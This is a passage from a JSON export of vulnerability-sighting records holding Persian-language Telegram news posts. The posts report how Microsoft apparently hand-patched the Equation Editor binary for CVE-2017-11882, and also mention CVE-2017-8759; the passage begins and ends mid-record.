\u062c\u0646\u0648\u0628\u200c\u0634\u0631\u0642\u06cc \u062a\u0645\u0631\u06a9\u0632 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f\u060c \u0627\u0645\u0627 \u0627\u06a9\u0646\u0648\u0646 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u06af\u0632\u0627\u0631\u0634\u06cc \u06a9\u0647 \u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0628\u0647 \u062c\u0627\u06cc \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 \u0628\u0627\u0646\u06a9\u060c \u062e\u0648\u062f \u0628\u0627\u0646\u06a9\u200c\u0647\u0627 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u062a\u0627 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f8\u06f7\u06f5\u06f9 \u06a9\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 \u06a9\u062f \u0648 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062f\u0631 \u0686\u0627\u0631\u0686\u0648\u0628\u0650 \u062f\u0627\u062a\u200c\u0646\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0633\u062a \u0648 \u062f\u0631 \u0645\u0627\u0647 \u0633\u067e\u062a\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f6 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u0647\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0646\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15", "creation_timestamp": "2026-07-29T07:00:10.297859Z"}, {"uuid": "81347c66-0b91-499f-82b7-59bb1202838c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6531", "content": "\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0627\u0638\u0647\u0627\u0631 \u06a9\u0631\u062f:\u200c \u00ab\u062f\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0627\u0635\u0644\u0627\u062d\u200c\u0634\u062f\u0647\u060c \u0634\u0634 \u0645\u0648\u0631\u062f \u0628\u0631\u0631\u0633\u06cc \u0645\u062d\u062f\u0648\u062f\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f\u060c \u0648 \u0627\u0632 \u0622\u0646\u200c\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u0646\u0638\u0631 \u0646\u0645\u06cc\u200c\u0633\u062f \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0645\u0631\u0628\u0648\u0637 \u0628\u0627\u0634\u0646\u062f\u060c \u0645\u0627 \u0645\u0639\u062a\u0642\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0686\u0646\u062f \u0628\u0631\u062f\u0627\u0631 \u062d\u0645\u0644\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631 \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0645\u0646\u062c\u0631\u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0634\u0648\u0646\u062f \u0648 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0646\u062f.\u00bb\n\n\u0648\u06cc \u0627\u0641\u0632\u0648\u062f: \u00ab\u0648\u0635\u0644\u0647\u200c\u06cc \u06cc\u06a9 \u0645\u062d\u0635\u0648\u0644 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06a9\u062f\u0647\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc\u200c \u0628\u0647 \u062c\u0627\u06cc \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u063a\u06cc\u06cc\u0631\u06cc\u0627\u0641\u062a\u0647\u200c\u060c \u0628\u0633\u06cc\u0627\u0631 \u0645\u0634\u06a9\u0644 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u0645\u0627\u06cc\u0631\u0648\u0633\u0627\u0641\u062a \u0647\u0646\u06af\u0627\u0645 \u0648\u0635\u0644\u0647\u200c\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u060c \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0628\u0631\u062c\u0633\u062a\u0647 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f. \u0628\u0627 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0642\u062f\u06cc\u0645\u06cc \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0647\u0646\u0648\u0632 \u0647\u0645 \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0644 \u0634\u0648\u062f \u06a9\u0647 \u0627\u0633\u0646\u0627\u062f\u06cc \u06a9\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u06cc \u0642\u062f\u06cc\u0645\u06cc \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0627 \u0646\u0633\u062e\u0647 \u06cc \u062c\u062f\u06cc\u062f \u0646\u06cc\u0632 \u0633\u0627\u0632\u06af\u0627\u0631 \u0647\u0633\u062a\u0646\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u062a\u0646\u0647\u0627 \u0633\u0648\u0627\u0644\u06cc \u06a9\u0647 \u0628\u062f\u0648\u0646 \u062c\u0648\u0627\u0628 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647\u060c \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u0686\u0631\u0627 \u0634\u0631\u06a9\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0647 \u062c\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0648 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u0622\u0646 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a \u06a9\u0647 \u0645\u0633\u062a\u0642\u06cc\u0645\u0627 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u062f. \u0628\u0631\u062e\u06cc \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0631\u0627 \u0627\u0632 \u062f\u0633\u062a \u062f\u0627\u062f\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-29T07:00:09.980355Z"}, {"uuid": "8cfe48b3-6822-4806-ae15-73683c5db027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6530", "content": "\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a! \n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udcd7\u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc ACROS \u0627\u0638\u0647\u0627\u0631 \u062f\u0627\u0634\u062a\u0646\u062f: \u00ab\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u0645\u062f\u062a \u06f1\u06f7 \u0633\u0627\u0644 \u062f\u0631 \u0622\u0641\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0647 \u062c\u0627\u06cc \u0627\u06cc\u0646\u200c\u06a9\u0647 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u0646\u062f.\u00bb\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0639\u0646\u0648\u0627\u0646 \u00abMicrosoft Patch Tuesday\u00bb \u062f\u0631 \u062a\u0627\u0631\u06cc\u062e \u06f1\u06f4 \u0646\u0648\u0627\u0645\u0628\u0631 \u0648\u0635\u0644\u0647 \u0634\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a Embedi \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06a9\u0647 \u0627\u0632 \u062a\u0627\u0631\u06cc\u062e \u06f9 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u0628\u062f\u0648\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0627\u0646\u062f\u0647 \u0628\u0648\u062f\u060c \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f.\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u06af\u0631\u0648\u0647 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a ACROS \u0628\u0627 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647\u200c\u06cc \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0646\u062f \u0628\u0627 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u062a\u0627\u0631\u06cc\u062e \u062a\u062f\u0648\u06cc\u0646 \u062c\u062f\u06cc\u062f \u06f2\u06f0\u06f1\u06f7\u066b\u06f8\u066b\u06f1\u06f4 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0646\u0633\u062e\u0647 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0645\u0634\u0627\u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0627\u0633\u062a.\n\u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0635\u0644\u0627\u062d\u0627\u062a \u0644\u0627\u0632\u0645 \u0631\u0627 \u0631\u0648\u06cc \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0627\u062f \u0648 \u0633\u067e\u0633 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0622\u0646\u200c\u0631\u0627 \u062f\u0648\u0628\u0627\u0631\u0647 \u0645\u06cc\u200c\u0633\u0627\u062e\u062a\u060c \u0645\u0645\u06a9\u0646 \u0646\u0628\u0648\u062f \u06a9\u0647 \u06a9\u062f \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0642\u0628\u0644\u06cc \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0634\u062f. \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0627\u0646\u062c\u0627\u0645 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a\u06cc \u0631\u0648\u06cc \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u060c \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c \u0627\u0633\u062a\u060c \u0632\u06cc\u0631\u0627 \u0641\u0642\u0637 \u062f\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0646\u0633\u062e\u0647 \u0642\u0628\u0644\u06cc \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a ACROS\u060c Mitja Kolsek \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u200c\u062f\u0647\u062f: \u00ab\u067e\u06cc\u0645\u0627\u0646\u200c\u06a9\u0627\u0631\u0627\u0646 \u0648 \u06a9\u0627\u0631\u0645\u0646\u062f\u0627\u0646 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0633\u06cc\u0627\u0631 \u0645\u0627\u0647\u0631\u0627\u0646\u0647 \u0631\u0648\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647 \u0648 \u06a9\u062f \u0646\u0627\u0642\u0635 \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f \u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0628\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f\u060c \u06a9\u062f\u0647\u0627\u06cc \u0642\u0628\u0644\u06cc \u0631\u0627 \u0628\u0627 \u06a9\u062f\u0647\u0627\u06cc \u0628\u0647\u062a\u0631 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\u00bb\n\n\ud83d\udc48\ud83c\udffb \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u062f\u0631\u0628\u0627\u0631\u0647\u200c\u06cc \u0646\u062d\u0648\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0638\u0647\u0627\u0631 \u0646\u0638\u0631\u06cc \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0628\u0627 \u0645\u0642\u0627\u06cc\u0633\u0647\u200c\u06cc \u0646\u0633\u062e\u0647\u200c\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0627\u062b\u0628\u0627\u062a \u0645\u06cc\u200c\u0634\u0648\u062f. \u0647\u06cc\u0686 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0632\u0628\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc C \u06cc\u0627 C++ \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06cc\u06a9 \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u063a\u06cc\u06cc\u0631\u06cc\u0627\u0641\u062a\u0647\u060c \u062a\u0645\u0627\u0645 \u062a\u0648\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u062f\u0631 \u06cc\u06a9 \u0645\u0627\u0698\u0648\u0644 \u0631\u0627 \u062f\u0631 \u0647\u0645\u0627\u0646 \u0622\u062f\u0631\u0633 \u0642\u0628\u0644\u06cc \u0642\u0631\u0627\u0631 \u0646\u0645\u06cc\u200c\u062f\u0647\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0646\u062a\u0627\u06cc\u062c BinDiff (\u0627\u0628\u0632\u0627\u0631 \u0645\u0642\u0627\u06cc\u0633\u0647\u200c\u06cc \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc) \u0628\u06cc\u0646 \u062f\u0648 \u067e\u0631\u0648\u0646\u062f\u0647 \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u062a\u0645\u0627\u0645 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0627\u0648\u0644\u06cc\u0647\u200c\u06cc EA \u0628\u0627 \u0645\u0642\u0627\u062f\u0631 \u062b\u0627\u0646\u0648\u06cc\u0647\u200c\u06cc EA \u062a\u0648\u0627\u0628\u0639 \u062a\u0637\u0628\u06cc\u0642\u200c\u06cc\u0627\u0641\u062a\u0647 \u06cc\u06a9\u0633\u0627\u0646 \u0647\u0633\u062a\u0646\u062f \u0648 \u062d\u062a\u06cc \u062a\u0648\u0627\u0628\u0639 \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u062f\u0627\u0631\u0627\u06cc \u0622\u062f\u0631\u0633\u200c\u200c\u0647\u0627\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u062f\u0631 \u062f\u0648 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0647\u0633\u062a\u0646\u062f.\n\u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0634\u0631\u06a9\u062a Embedi \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0628\u0631\u0631\u0633\u06cc \u0646\u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0622\u06cc\u0627 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u062d\u062c\u0645 \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647\u200c\u06cc \u0631\u0634\u062a\u0647\u200c\u06cc \u062a\u0648\u0644\u06cc\u062f\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u062f\u0627\u0631\u062f \u06cc\u0627 \u062e\u06cc\u0631. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0627\u06af\u0631 \u0646\u0627\u0645 \u0641\u0648\u0646\u062a\u200c \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0634\u062f\u0647 \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u062e\u06cc\u0644\u06cc \u0628\u0632\u0631\u06af \u0628\u0627\u0634\u062f\u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u0646\u062c\u0631\u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0634\u0648\u062f.\n\n\u0627\u06a9\u0646\u0648\u0646 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0628\u0647 \u0645\u0646\u0638\u0648\u0631 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631\u060c \u06cc\u06a9 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u062f\u06cc\u06af\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0627\u0636\u0627\u0641\u0647\u200c \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0631\u0627 \u062f\u0631 \u062e\u0648\u062f \u0646\u06af\u0647 \u0645\u06cc\u200c\u062f\u0627\u0631\u062f\u060c \u0648 \u0648\u0642\u062a\u06cc \u0634\u0645\u0627\u0631\u0646\u062f\u0647\u200c\u06cc \u062d\u0644\u0642\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a \u0646\u0648\u06cc\u0633\u0647\u200c\u0647\u0627 \u0631\u0627 \u062f\u0631 \u0628\u0627\u0641\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0647 \u0627\u0646\u062f\u0627\u0632\u0647\u200c\u06cc \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0631\u0633\u06cc\u062f\u060c \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062d\u0644\u0642\u0647 \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u200c\u0631\u0633\u062f. Kolsek \u062e\u0627\u0637\u0631 \u0646\u0634\u0627\u0646 \u06a9\u0631\u062f:\n\u00ab\u0639\u0644\u0627\u0648\u0647\u200c\u0628\u0631 \u0627\u06cc\u0646\u060c \u062f\u0631 \u0645\u0648\u0627\u0631\u062f\u06cc \u06a9\u0647 \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0628\u0631\u0633\u062f\u060c \u0631\u0634\u062a\u0647 \u0627\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a\u06cc \u0627\u0632 \u0622\u0646 \u062f\u0631 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0627 \u0635\u0641\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u200c\u067e\u0630\u06cc\u0631\u062f (\u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0645\u0634\u062e\u0635 \u0634\u0648\u062f \u06a9\u0647 \u062a\u0647\u06cc\u0647\u200c\u06cc \u0631\u0648\u0646\u0648\u0634\u062a \u0627\u0632 \u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0646\u0631\u0633\u06cc\u062f\u0647 \u0627\u0633\u062a).\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: 